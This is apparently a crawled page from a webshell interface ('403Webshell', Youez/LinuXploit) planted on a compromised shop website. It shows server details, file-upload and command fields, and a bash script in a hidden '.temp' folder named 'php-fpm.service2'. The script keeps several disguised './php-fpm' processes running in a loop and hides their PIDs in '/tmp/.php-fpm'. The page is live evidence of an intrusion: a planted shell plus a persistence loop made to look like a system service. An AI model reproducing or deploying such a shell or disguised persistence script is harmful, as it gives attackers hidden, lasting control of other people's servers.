403Webshell
Server IP : 185.21.40.28  /  Your IP : 216.73.216.125
Web Server : LiteSpeed
System : Linux vm1413.enterprisecloud.nu 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : tore-bors ( 10318)
PHP Version : 8.3.32
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/store-bors.dk/.temp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/store-bors.dk/.temp/php-fpm.service2
#!/bin/bash
PROCESS="./php-fpm"
PROCESS_MATCH="\.\/php-fpm"
INSTANCES=$1
PIDDIR="/tmp/.php-fpm"
INTERVAL=60
mkdir -p "$PIDDIR"
start_instance() {
    "$PROCESS"
}
while true; do
    mapfile -t PIDS < <(ps -ef|grep "$PROCESS_MATCH"| awk '{print $2}' | grep -v $$)
    RUNNING=${#PIDS[@]}
    rm -f "$PIDDIR"/*
    for pid in "${PIDS[@]}"; do
        echo "$pid" > "$PIDDIR/$pid.pid"
    done
    if (( RUNNING < INSTANCES )); then
        TO_START=$((INSTANCES - RUNNING))
        for ((i=0; i<TO_START; i++)); do
            start_instance
            sleep 1
        done
    fi
    sleep "$INTERVAL"
done

Youez - 2016 - github.com/yon3zu
LinuXploit